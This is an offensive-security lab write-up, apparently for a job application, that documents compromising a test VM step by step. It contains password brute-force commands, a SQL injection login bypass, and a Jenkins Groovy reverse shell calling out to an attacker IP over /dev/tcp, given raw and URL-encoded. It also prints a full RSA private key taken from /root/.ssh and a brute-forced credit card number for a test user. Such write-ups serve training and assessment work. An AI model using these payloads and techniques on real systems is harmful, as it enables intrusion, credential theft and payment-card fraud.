

## Halborn - Senior Offensive Security Engineer

15.08.2020

### 1. SET UP

- Windows 10 , VM Host
- Linux Mint 20

### 2. Boot VM on Windows

- identify it on network : 192.168.43.69

### 3. Run Nmap scan on ip

Starting Nmap 7.80 ( <https://nmap.org> ) at 2020-08-12 22:37 EEST

Nmap scan report for 192.168.43.69

Host is up (0.022s latency).

Not shown: 65532 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 (protocol 2.0; HPN-SSH patch 14v4)

| ssh-hostkey:

| 2048 92:77:ef:a9:c8:d6:f5:22:22:fc:96:b0:7d:a5:38:d2 (RSA)

| 256 25:92:17:78:b1:94:0d:37:65:63:51:16:51:a9:77:d2 (ECDSA)

|\_ 256 ec:5a:78:25:68:32:99:80:82:73:c8:27:a8:8e:ef:1e (ED25519)

80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)

|\_ http-title: Site doesn't have a title (text/plain; charset=utf-8).

10080/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)

| http-title: Sign in - Worf

|\_ Requested resource was /login

Service detection performed. Please report any incorrect results at  
<https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 33.59 seconds

#### 4. Dirstalk 192.168.43.69:80

```
{"Target":{"Path":"/users","Method":"GET","Depth":3},"StatusCode":400,"URL":{"Scheme":"http","Opaque":"","User":null,"Host":"192.168.43.69","Path":"/users","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":""}}
```

```
{"Target":{"Path":"/encrypt","Method":"GET","Depth":3},"StatusCode":400,"URL":{"Scheme":"http","Opaque":"","User":null,"Host":"192.168.43.69","Path":"/encrypt","RawPath":"","ForceQuery":false,"RawQuery":"","Fragment":""}}
```

#### 5. Patator 192.168.43.69:22 no luck

```
patator ssh_login host=192.168.43.69 user=Worf password=FILE0  
0=~ /Desktop/rockyou.txt -x ignore:mesg='Authentication failed.'
```


#### 6. Patator http://192.168.43.69:10080/login no luck but exposed SQL injection

```
patator http_fuzz url=http://192.168.43.69:10080/login method=POST  
body='username=Worf+&password=FILE0' 0=~ /Desktop/rockyou.txt follow=1  
accept_cookie=1 -x ignore:fgrep='Login Failed'
```

#### 7. Login at "http://192.168.43.69:10080/login"

- with "1" or '1' = '1'

#### 8. Services Overview



Service Name	Listening
Card Server	0.0.0.0:80
Jenkins	127.0.0.1:8080
SSH	0.0.0.0:22

9. Even though I figured out the machine configurations at various times , for documentation ease, **I will mention the 3 machines involved and refer to them as Jenkins/Main/Card:**

1. Docker Machine "Jenkins" 127.0.0.1:8080 : Linux b51cddb7eebd 4.1.20-0-grsec  
#1-Alpine SMP Mon Mar 21 15:49:51 GMT 2016 x86\_64 Linux

2. Main Machine : Linux aplan 4.1.20-0-grsec #1-Alpine SMP Mon Mar 21 15:49:51 GMT 2016 x86\_64 Linux

3. Docker Machine "Card Server" 0.0.0.0:80 : Linux 70e262ee11a4 4.1.20-0-grsec  
#1-Alpine SMP Mon Mar 21 15:49:51 GMT 2016 x86\_64 GNU/Linux

## 10. Use webhook on http://192.168.43.69:10080 to communicate with Jenkins Machine

- Navigate site
- With Burp and by accessing the web request in browser Dev Tools I managed to get the HTTP url-encoded body to pass it throw the Web Hook

## 11. Reverse JAVA Shell

- Remote code execution opportunity at /script

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.43.79/9999;cat <&5 | while read
line; do \"$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

Test Your Might! - Mozilla Firefox

192.168.43.69:10080/s/hooks

Services > Web Hooks Logout

### Web Hooks

URL

Request Method  
POST

Content Type  
application/x-www-form-urlencoded

Body  

```
script=+%3D+Runtime.getRuntime%28%29%0D%0A+++p+%3D+r.exec%28%5B%22%2Fbin%2Fbash%22%2C%22-c%22%2C%22exec+5%3C%3E%2Fdev%2Ftcp%2F192.168.43.79%2F9999%3Bcat+%3C%265+%3C%265+while+read+line%3B+do+%5C%24line+2%3E%265+%3E%265%3B+done%22%5D+as+String%5B%5D%29%0D%0A+++p.waitFor%28%29%0D%0ASubmit=Run
```

Submit

Response  
[ NONE ]

## 12. Get Main Machine SSH private key from Jenkins /root/.ssh.

-----BEGIN RSA PRIVATE KEY-----

```
MIIEpgIBAAKCAQEAxOAv8W8dy76g26E5/HhhzO5GC79/aE9LGCaoOJQMMKhJNIN
GFRxbe7kY1GQyJfXAxPmO2xwGiLganyt6Tj8pfxgo6lup5KVyoYgprPn3q5V9HS0
DH42cd/KSa9r0Ank9YGGJfANIZlyBmrqeU0P7wJWV1EUybgHKIHHUSNKJMz/hbwO
KS3OIIbQmNRPZSOVdcpi2iNFOOnVefEymcYSO5VLVZU36uk1Z13c5AMrPZGU8tAf
q4/Db5OmGTyVtZtztOyfathfAx0XKrKMITCZ90eyF7IbWqU4V3Wgf0LZg1NU02LU
tSwQXJPTprd6kRhLyWahl65EfpA82gcFnomVNwIDAQABAoIBAQCqPBy1n0+QMnpm
Y+fGW3H+K7Jue/U+vDqzfBgLDY2ZPdWTqrCs0PKSSHjilJdKdquFgBsSdH3WK62
e7LRvQikIVySRwSq3zeYgZNRU+RoCLNXSr7Z+dzkWOSF1kHP0vmtwlqqJTy3IM05
xpeHxsexSnOmlluZDe82SQ60olqp9YQYIHQjqlrDX8UcwgDJ97lqn+eMi76dQt2T
yQymTww68ZZ05K3Gj96RJ76TgnyFg95WtxmNfO/lzqVnS/2bo0z7+xmvPqaoq/FM
dRkopGXXY24Oz8idrClkaaNltJmrdNrOcVlptA7aPiJuKq4ToIWAGj6HR8d0IsIn
k+HyV/6xAoGBAPiKBUBCNMQC7drAuAxM7IcC2DzuVvW9ztN5Fd7rFUI1VkNmAOZO
iaAi4/iPp65tJygtci79YXu89J2L9bssZuiFw1GplowvQFLcvUWoB1FOjiuD9vXL
yQDe1JMSixHRUjpTukD38/ioRweZ3TG8GTqELYo5nhJlxixwvRSlduOVAoGBAMMj
ZtuPIOAVdd24iF41RwBaf4JNG4G4qfqlNZCOYgRy0OoEyAJ7+mAljtBONj5Ac0o2
hkwLinLMOUQCY8aqnKHgmsXLn5XrpITY3xW3TPBPqLxwXP8kn4XwOWwMHvagslrZ
rAehcKRK67GV/EZtlqQmJmXNC17VfpQDeRn7BCKbAoGBAObHjKNhtUP8cK+qoWtY
MOwMAR5a5F7PPcjPx9C1yyvS2tIPPxi3qUn8skQnPmXE0kULXbLRbQBVSymIEUn
uGWz76HNq7EtIppqj35jwHEpe3SSfnUgJcYV7j9B4N08I2W8RB06Bco09NvA+T5c
Q1gGTyoinGZbjZmk0rvC5RpRAoGBAMGEvT+mLKMthSsyEsLisRwPo340O8AkwyVX
a8yE932T480Amt2j18QfGlpJ1g9cWTIS41JM66s3Dt98QzjE//qlRLg9XHEQNKKu
dGYT1xBG336pLAC3cCAjAL8/MgHBj/LTNYCHwK6dwinmJT4u9gKp9tbWfR06OoJN
A28ZeZtbAoGBANmXpsW0d9h9ISLfNCTZQ54ZqKaDfwrCNXWdwiXyIO2FvlcZeid8
5JVrxWOgLG3o+Gron5W4FxlqlaNqbLMUMnNbSB28k/bi447PZZoaQZyhq58rOswJ
aV9wbnFTf02qNV60L0azP2kiCfSf5LPc6WDNmBkN+NaKS3KE65/m/pBX
```

-----END RSA PRIVATE KEY-----

## 13. SSH to port 22 successful

Thankfully the network administrator already added on Main Machine his own public key to it's own authorized\_keys file:

ssh-rsa

```
AAAAB3NzaC1yc2EAAAADAQABAAQAC9c4C/xbx3LvqDboTn8eGHM7kYLv39oT0sYJq
g4IAwwqEk0g0YVHFt7uRjUZDI9cDE+Y7bHAaluBqfK3pOPyl/GCjoi6nkpXKHiCms+ferlX0dL
QMfjZx38pJr2vQCeT1gYYI8A2VmXIgaup5TQ/vAlZXURTJuAcqUcdRI0okzP+FvA4pLc4ggG
oydE9II5V1ymLaI0U46dV58TKZxhi7IUtVITf6qTVnXdzkAys9kZTy0B+rj8Nvk6YZPJW1m3O0
7J9q1t8DHRcquQwhMJn3R7IXuVtapThXdaB/QtmDU1TTYtS1LBBck9Omt3qRGEvJZqGXrk
R+kDzaBwWeiZU3 root@aplab
```

#### 14. Extract test script from Main Machine

- /home/ops/card\_server\_test.js

#### 15. Check .ash\_history from Main Machine

- extract command "docker run -t -i ap/card-server /bin/bash"

#### 16. Extract Card Service code from Card Machine

- /go/src/app/main.go

```
"2": User{
  ID:      "2",
  Name:    "Michael Scott",
  Address: "My condo",
  City:    "Scranton",
  State:   "PA",
  CCEXpiration: "01/2019",
  CCNumberCrypted: "cb15h+Mzl5pZxeNSWe3b",
  CCType:    "AMEX",
  CCNumber:  "*****1749",
}
```

#### 17. Bruteforce encryption 344 + 3\_digits + 839941749 with Node JS

- AMEX Cards start only with 34 or 37
- observe pattern : cards that start with 344 after encryption will always start with "cb15"
- observe pattern : cards ending with 839941749 after encryption will always end with "l5pZxeNSWe3b"

**Michael Scott CC PLAIN TEXT : 344803839941749**

#### 18. Extra

I also done a C# application, with SQL data base to brute force the encryption. I reduced  $O(2^n)$  to  $O(n^4 + n^3 + n^2)$ . I first generated the digits domain space and after applied a non recursive string permutation. In the end I did not use this application.

GITHUB C# bruteforce Scott CC encryption 